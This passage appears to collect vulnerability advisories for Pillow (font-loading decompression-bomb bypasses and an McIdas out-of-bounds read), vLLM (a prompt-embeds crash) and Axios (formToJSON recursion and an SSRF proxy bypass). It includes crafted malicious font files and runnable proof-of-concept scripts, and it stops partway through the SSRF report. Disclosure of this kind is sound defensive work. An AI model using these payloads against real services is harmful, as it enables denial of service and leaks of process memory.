Summary PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection. Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit. Vulnerable code (PIL/BdfFontFile.py lines 84–88): ``python width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memory ` Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions. Steps to reproduce Minimal malicious BDF file (270 bytes): ` STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT ` Proof of Concept script: `python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode() print(f"[] BDF file size : {len(bdf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)") BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed! print(f"[!] CONFIRMED: BdfFontFile loaded silently — {WH//8//10242} MB allocated") print(f" Image.open() path would have raised DecompressionBombError") ` Expected output:* ` [Image.open() path] BLOCKED by DecompressionBombError [] BDF file size : 270 bytes [] Glyph size : 20000 x 20000 = 400,000,000 pixels [] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError ` Amplified attack (multiple glyphs): A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection. Impact Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs Confidentiality: None Integrity: None Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected Loaded glyph images persist in self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`

Description PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved. Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check. Vulnerable code (PIL/FontFile.py lines ~64–92): ``python def compile(self) -> None: if self.bitmap: return h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w) xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines h # ← lines(256) × h(65535) = 16,776,960 if xsize == 0 and ysize == 0: return self.ysize = h # NO _decompression_bomb_check() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation ` "Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold: | Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | 179,200,000 | | DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error | With PCF-maximum glyph height (65,535): | Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = 16,776,960 | | Total pixels | 800 × 16,776,960 = 13,421,568,000 | | Ratio vs. DecompressionBombError threshold | 75× | | Memory (mode "1", 1 bit/pixel) | ~1.6 GB | Steps to reproduce Proof of Concept script: `python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image MAX_GLYPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700K px — below 89.4M warning threshold class MockFont(FontFile.FontFile): def __init__(self): super().__init__() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPH_W, GLYPH_H)) for i in range(MAX_GLYPHS): self.glyph[i] = ( (GLYPH_W, GLYPH_H), (0, -GLYPH_H, GLYPH_W, 0), (0, 0, GLYPH_W, GLYPH_H), im, ) Confirm bomb check WOULD catch the combined size combined_size = (GLYPH_W, MAX_GLYPHS GLYPH_H) try: Image._decompression_bomb_check(combined_size) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combined_size}: {e}") Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised px = font.bitmap.size[0] font.bitmap.size[1] threshold = Image.MAX_IMAGE_PIXELS 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.") ` Expected output: ` [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point. ` Verified live on Pillow 12.2.0 — compile() succeeds with no exception. Real-world trigger using BDF font file: `python from PIL import BdfFontFile import io Load a crafted BDF font with 256 glyphs each claiming height=65535 (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb")) font.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check ` Attack scenarios: | Scenario | Effect | |---|---| | Web font preview (BdfFontFile(upload).to_imagefont()) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → to_imagefont() | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process | Impact Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. Confidentiality: None Integrity: None Affected call paths: BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile() BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile() PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile() PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile() Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check. Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-08.

Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading

Description PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values: `` xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070) ` Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold. Vulnerable code (PIL/PcfFontFile.py line 224–227): `python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! ) ` Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths: Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond Steps to reproduce Proof of Concept script: `python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0) # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0) # Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0 # Encodings: char 0x41 ('A') → glyph 0 enc_offsets = [0xFFFF]65 + [0] + [0xFFFF]62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"128, enc_offsets) secs = [(PCF_PROPS, props), (PCF_METRICS, metrics), (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)] hdr_size = 4 + 4 + len(secs) 16 out = struct.pack("<II", PCF_MAGIC, len(secs)) offset = hdr_size for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for _, sdata in secs: out += sdata return out pcf = build_bomb_pcf(W, H) print(f"[] PCF file size : {len(pcf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)") tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/10242:.2f} MB") except Exception as e: _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation") print(f" Heap peak: {peak/1024*2:.2f} MB") print(f" C-heap allocation of ~{WH//8//10242} MB occurred before exception") ` Expected output:* ` [Image.open() path] BLOCKED by DecompressionBombError [] PCF file size : 148 bytes [] Glyph size : 14000 x 14000 = 196,000,000 pixels [] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception ` Amplification table: | PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed | Impact Availability: HIGH — up to 1.07 GB per glyph, no limit per font file Confidentiality: None Integrity: None Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-07

Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

Summary When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysizestride <= buffer_len but never checks that stride is at least the natural row width xsize pixelsize. The McIdas* AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsizepixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(), getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service). Complete Code Trace Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation. ``python src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.area_descriptor = w = [0, struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in _MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES ... self._mode = mode self._size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] w[11] w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ] ` Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer. `python src/PIL/ImageFile.py:322-348 if use_mmap: # use_mmap = self.filename and len(self.tile) == 1 decoder_name, extents, offset, args = self.tile[0] if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image._MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ) if offset + self.size[1] args[1] > self.map.size(): # == offset + ysizestride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.map_buffer( self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1) ) ` Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width. `c / src/map.c:65-140 / if (!PyArg_ParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(mode_name); / "L" / if (stride <= 0) { / attacker sets stride=1 (>0) -> NOT recomputed / if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize; else if (isModeI16(mode)) stride = xsize 2; else stride = xsize 4; } if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/ overflow guard only / PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL; } size = (Py_ssize_t)ysize stride; / = 11 = 1 / if (offset > PY_SSIZE_T_MAX - size) { ... } ... if (offset + size > view.len) { / 1 + 1 = 2 <= 256 -> PASSES / PyErr_SetString(PyExc_ValueError, "buffer is not large enough"); PyBuffer_Release(&view); return NULL; } im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); / im->linesize = xsize pixelsize = 200000 (the REAL per-row read width) / / setup file pointers -- NO check that stride >= im->linesize / if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char )view.buf + offset + y stride; / row points into mmap, spacing=1 / } } else { ... } ` im->linesize (the number of bytes any consumer reads per row) is xsize pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysizestride = 2 bytes "claimed". Nothing reconciles the two. Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap. `c / the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. / ` Chain Summary ` SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path) ↓ McIdasImagePlugin._open: stride = w[15]+w[10]w[11]w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66] ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68] GADGET: ImageFile.load mmap branch -- only checks offset+ysizestride<=len <- BUG: no stride>=linesize check [ImageFile.py:343] ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346] SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0stride; linesize=xsize [map.c:134] ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0] IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS) ` Proof of Concept See attached poc.zip Impact on a Parent Application Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed: Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data. Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS. Suggested fix Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize` .

vLLM denial of service via prompt embeds on M-RoPE models

Summary _Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._ Sending a pure prompt embeds payload in a /v1/completions request with a model using M-RoPE causes the EngineCore to fail an assertion and fatally crash, shutting down the entire server application. Any remote user who is authorized to make a /v1/completions endpoint can trivially make such a request and induce a crash. Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ In commit 56669c1, a simple assert intended to be a type-narrowing assert was added to the _init_mrope_positions method in GPUModelRunner (the offending line on main at the time of writing: https://github.com/vllm-project/vllm/blob/2d481f8a946ee0521872af0f098674a8ee01ce4a/vllm/v1/worker/gpu_model_runner.py#L1588-L1607). ``python assert req_state.prompt_token_ids is not None, ( "M-RoPE requires prompt_token_ids to be available." ) ` This type narrowing assert is to prevent mypy errors later in the function because None is not a valid type for mrope_model.get_mrope_input_positions. Unfortunately, this assertion is not always true. /v1/completions requests that specify prompt=None and prompt_embeds=<not none> will indeed create a CachedRequestState where prompt_token_ids is None. This triggers the assertion, which in turn crashes the EngineCore and the Server application. ` (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] File "/usr/local/lib/python3.12/dist-packages/vllm/v1/worker/gpu_model_runner.py", line 3997, in execute_model (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] deferred_state_corrections_fn = self._update_states(scheduler_output) (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] File "/usr/local/lib/python3.12/dist-packages/vllm/v1/worker/gpu_model_runner.py", line 1239, in _update_states (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] self._init_mrope_positions(req_state) (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] File "/usr/local/lib/python3.12/dist-packages/vllm/v1/worker/gpu_model_runner.py", line 1582, in _init_mrope_positions (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] assert req_state.prompt_token_ids is not None, ( (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (EngineCore pid=351) ERROR 06-11 00:48:03 [core.py:1167] AssertionError: M-RoPE requires prompt_token_ids to be available. (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] AsyncLLM output_handler failed. (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] Traceback (most recent call last): (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] File "/usr/local/lib/python3.12/dist-packages/vllm/v1/engine/async_llm.py", line 660, in output_handler (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] outputs = await engine_core.get_output_async() (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] File "/usr/local/lib/python3.12/dist-packages/vllm/v1/engine/core_client.py", line 1030, in get_output_async (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] raise self._format_exception(outputs) from None (APIServer pid=1) ERROR 06-11 00:48:03 [async_llm.py:704] vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause. ` All requests using the /v1/chat/completions endpoints will have text/prompt_token_ids parts (corresponding to the chat template), and prompt_embeds parts are handled as mm_features. This method (rightly) filters out those prompt_embeds content parts as they are treated as text positions. A sufficient solution to type narrowing here without raising a fatal assertion is to instead replace the assertion with a using dummy token ids: `python def _init_mrope_positions(self, req_state: CachedRequestState): model = self.get_model() assert supports_mrope(model), "M-RoPE support is not implemented." mrope_model = cast(SupportsMRoPE, model) # Filter out prompt_embeds modality (text-only position info) mrope_features = [ f for f in req_state.mm_features if f.modality != "prompt_embeds" ] # Handle both token_ids and embeddings-only inputs if req_state.prompt_token_ids is not None: input_tokens = req_state.prompt_token_ids elif req_state.prompt_embeds is not None: # For text-only embeddings, dummy token IDs are safe since # get_mrope_input_positions only uses len(input_tokens) when mm_features is empty seq_len = req_state.prompt_embeds.shape[0] input_tokens = list(range(seq_len)) # Verify no mm_features remain (should be true after prompt_embeds filter) assert len(mrope_features) == 0, ( "M-RoPE with prompt_embeds-only input should have no multimodal features" ) else: raise ValueError( "M-RoPE requires either prompt_token_ids or prompt_embeds." ) req_state.mrope_positions, req_state.mrope_position_delta = ( mrope_model.get_mrope_input_positions( input_tokens, mrope_features, ) ) ` Technically, in isolation, this method still crashes in the case where req_state.prompt_token_ids is None and req_state.mm_features, so the solution above still leaves that potential vector open. As far as can be determined, however, such a req_state is impossible in the first place in online mode, because it would require a /v1/completions request with prompt_embeds AND multimodal features, but the /v1/completions request schema does not expose multimodal inputs in any discernible way. Today, those are the only two endpoints with prompt_embeds support. When in offline mode, it is technically possible to directly create an EngineCoreRequest that has prompt_embeds and not prompt_token_ids and mm_features, and pass that to LLM.generate. That would trigger this same assertion, and no validation would prevent that combination. It is strongly suspected, though, that this combination would be undefined in any model that support M-RoPE, because it would not be possible to determine which token positions correspond to mm_features. The proposed solution above would end up not setting req_state.mrope_positions and req_state.mrope_position_delta in this scenario, which could result in undefined behavior. prompt_embeds is far more familiar here than M-RoPE, and it is understood that each model that supports it is responsible for defining its own get_mrope_input_positions which have varying implementations. There is insufficient knowledge to be prescriptive in how the two features should interact in the offline case, other than possibly raising a validation error earlier on preventing that combination (which would emulate the current assertion behavior). Regardless, in offline mode, the chances of a remote user being able to exploit this are slim-to-nil compared to the online case which is incredibly straightforward. Impact _What kind of vulnerability is it? Who is impacted?_ Denial of Service caused by an incorrect assertion inside of the GPUModelRunner which causes a fatal EngineCore exception Any configuration with --enable-prompt-embeds and M-RoPE-supported model is vulnerable The attack is extremely easy from the remote attacker's perspective (copying the official prompt_embeds` online mode docs examples almost-verbatim, accounting for model-name and connection details, of course, will induce a guaranteed shutdown)

Axios: Excessive recursion in formDataToJSON can cause denial of service

Summary Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type. Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination. Impact The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion. The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously. Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON. Affected Functionality Affected APIs and paths: axios.formToJSON(formData) import { formToJSON } from "axios" lib/helpers/formDataToJSON.js axios default transformRequest when data is FormData and Content-Type contains application/json Unaffected or lower-risk paths: Normal multipart FormData requests without JSON Content-Type toFormData() object-to-FormData serialisation, which already has a maxDepth guard Axios versions before 0.28.0, where this helper and public API were not present Technical Details lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element. formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth: const result = buildPath(path, value, target[name], index); A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded. Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection. Proof of Concept of Attack ``js import { formToJSON } from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); try { formToJSON(fd); console.log("not vulnerable"); } catch (err) { console.log(${err.constructor.name}: ${err.message}); } ` Expected vulnerable result: RangeError: Maximum call stack size exceeded The axios request transform path can also be reached before network I/O: `js import axios from "axios"; const fd = new FormData(); fd.append("a" + "[x]".repeat(15000), "value"); await axios .post("http://127.0.0.1:1/", fd, { headers: { "Content-Type": "application/json" } }) .catch((err) => console.log(${err.constructor.name}: ${err.message})); ` Expected vulnerable result: RangeError: Maximum call stack size exceeded Workarounds Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios. If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema. For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON(). Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation. <details> <summary>Original Report</summary> Axios SSRF via Incomplete Loopback Detection CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L --- 1. Classification | CWE | CVSS Score | Severity | Type | |-----|-----------|----------|------| | CWE-918 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) | HIGH | Server-Side Request Forgery | 2. Description Summary The shouldBypassProxy() function in Axios fails to recognise 0.0.0.0, ::, and ::ffff:0.0.0.0 as loopback addresses. When NO_PROXY=localhost is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface. Root Cause File: lib/helpers/shouldBypassProxy.js isIPv4Loopback (lines 3-8): Only checks for 127.x.x.x addresses by inspecting parts[0] !== '127'. The 0.0.0.0 address has parts[0] === '0', so it falls through as non-loopback, even though on Linux 0.0.0.0 routes to the loopback interface. isIPv6Loopback (lines 10-38): Only checks host === '::1'. The :: address (unspecified IPv6) also routes to the loopback, but is not recognised. Attack Flow: ` isIPv4Loopback (line 3) — fails for 0.0.0.0 → isLoopback (line 44) — wraps both checks, returns false → shouldBypassProxy (line 127) — PUBLIC API, exported default → lib/adapters/http.js (line 190) — Node.js HTTP adapter ` Attack Vector Access Vector: Network (AV:N) Access Complexity: Low (AC:L) — attacker only needs control of a URL Privileges Required: None (PR:N) User Interaction: None (UI:N) 3. Proof of Concept Phase 1: Logic Verification `javascript import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js'; // Normal loopback — correctly returns true (bypasses proxy) shouldBypassProxy('http://127.0.0.1:9999/'); // → true // Vulnerable — returns false (goes through proxy!) shouldBypassProxy('http://0.0.0.0:9999/'); // → false ← SSRF shouldBypassProxy('http://[::]:9999/'); // → false ← SSRF 